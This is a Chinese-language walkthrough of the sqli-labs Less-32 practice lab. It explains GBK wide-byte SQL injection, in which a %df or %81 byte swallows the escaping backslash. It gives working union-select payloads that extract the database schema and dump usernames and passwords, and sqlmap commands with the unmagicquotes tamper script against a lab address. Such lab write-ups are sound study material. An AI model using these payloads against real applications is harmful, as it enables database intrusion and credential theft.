打开sqli第32节,这题是宽字节注入。
首先了解一下什么是宽字节:
如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节
宽字节注入产生的原因如下:
宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c
假如我们直接输入1‘。
可以看到单引号被反斜线转义,使单引号失效。若是改成1%df%5c,在sql进行gbk编码的时候会将%df和%5c作为一个宽字节进行解码,就会变成汉字“縗”,这个字符网页中显示不出来就变成了一个?符,结果如下图所示。(实际上宽字节只要大于ascii码的128的上限也就是0x80就能显示这个扩展字符你换成%81也是可以的,主要目的就是让sql误将两个单字节识别为宽字节)
下面可以开始注入了
输入1%81%27%20and%201=2%20union%20select%201,database(),version()--+
获取数据库名称和版本信息
我们得知数据库名为security
但是直接输入会出错,它不识别security这个字符
查看源码可以发现,后端对id进行十六进制解码,也就是说需要把security转为十六进制。
换为十六进制后
输入1%df%27 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+
获得三个表名
emails,referers,uagents,users
查询users表的字段
输入1%df%27 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+
然后导出数据
输入1%df%27 and 1=2?union select 1,group_concat(0x7c,username,0x7c,password,0x7c),3 from users--+
0x7c->| 是作为特征划分用的字符,方便区分账号和密码。
使用sqlmap的宽字节注入进行sql注入
sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -dbs?
可以看到爆出了上面一样security库
使用
sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security --tables
爆出表,结果如下:
使用
sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security -T users --column?
爆出字段,结果如下:
最后使用
sqlmap -u "http://192.168.2.13:7766/Less-32/?id=1" ?--dbms mysql --tamper "unmagicquotes.py" -v 3 --batch -D security -T users --dump
爆出表中的内容,与上面手操的一样。